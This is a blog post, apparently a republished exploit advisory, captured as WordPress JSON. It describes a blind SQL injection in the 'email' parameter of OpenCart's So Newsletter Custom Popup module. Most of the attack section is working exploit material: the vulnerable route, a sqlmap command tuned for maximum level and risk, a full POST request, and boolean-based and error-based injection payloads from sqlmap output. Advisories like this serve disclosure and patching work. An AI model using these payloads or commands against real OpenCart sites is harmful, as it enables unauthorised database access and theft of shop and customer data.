# Exploit Title: OpenCart v3.x So Newsletter Custom Popup Module – Blind SQL Injection
\n# Date: 18\/09\/2022
\n# Exploit Author: Saud Alenazi
\n# Vendor Homepage: https:\/\/www.opencart.com\/
\n# Software Link: https:\/\/www.opencart.com\/index.php?route=marketplace\/extension\/info&extension_id=40259&filter_search=newsletter&filter_license=1&sort=date_added
\n# Version: v.4.0
\n# Tested on: XAMPP, Linux
\n# Contact: https:\/\/twitter.com\/dmaral3noz<\/p>\n
* Description :<\/p>\n
So Newsletter Custom Popup Module is compatible with any Opencart allows SQL Injection via parameter ’email’ in index.php?route=extension\/module\/so_newletter_custom_popup\/newsletter.
\nExploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.<\/p>\n
* Steps to Reproduce :
\n– Go to : http:\/\/127.0.0.1\/index.php?route=extension\/module\/so_newletter_custom_popup\/newsletter
\n– Save request in BurpSuite
\n– Run saved request with : sqlmap -r sql.txt -p email –random-agent –level=5 –risk=3 –time-sec=5 –hex –dbs<\/p>\n
Request :<\/p>\n
===========<\/p>\n
POST \/index.php?route=extension\/module\/so_newletter_custom_popup\/newsletter HTTP\/1.1
\nContent-Type: application\/x-www-form-urlencoded
\nCookie: OCSESSID=aaf920777d0aacdee96eb7eb50
\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8
\nAccept-Encoding: gzip,deflate
\nContent-Length: 29
\nHost: 127.0.0.1
\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:68.0) Gecko\/20100101 Firefox\/68.0
\nConnection: Keep-alive<\/p>\n
createdate=2022-8-28%2019:4:6&email=hi&status=0<\/p>\n
===========<\/p>\n
Output :<\/p>\n
Parameter: #1* ((custom) POST)
\nType: boolean-based blind
\nTitle: AND boolean-based blind – WHERE or HAVING clause
\nPayload: createdate=2022-8-28 19:4:6&email=hi’ AND 4805=4805– nSeP&status=0<\/p>\n
Type: error-based
\nTitle: MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
\nPayload: createdate=2022-8-28 19:4:6&email=hi’ AND (SELECT 4828 FROM(SELECT COUNT(*),CONCAT(0x7176627071,(SELECT (ELT(4828=4828,1))),0x7178786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)– sRQS&status=0<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: OpenCart v3.x So Newsletter Custom Popup Module – Blind SQL Injection # Date: 18\/09\/2022 # Exploit Author: Saud Alenazi # Vendor Homepage: https:\/\/www.opencart.com\/ # Software Link: https:\/\/www.opencart.com\/index.php?route=marketplace\/extension\/info&extension_id=40259&filter_search=newsletter&filter_license=1&sort=date_added # Version: v.4.0 # Tested on: XAMPP, Linux # Contact: https:\/\/twitter.com\/dmaral3noz * Description : So Newsletter Custom Popup Module is compatible with any Opencart allows …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-30939","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30939","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=30939"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30939\/revisions"}],"predecessor-version":[{"id":31348,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30939\/revisions\/31348"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=30939"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=30939"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=30939"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}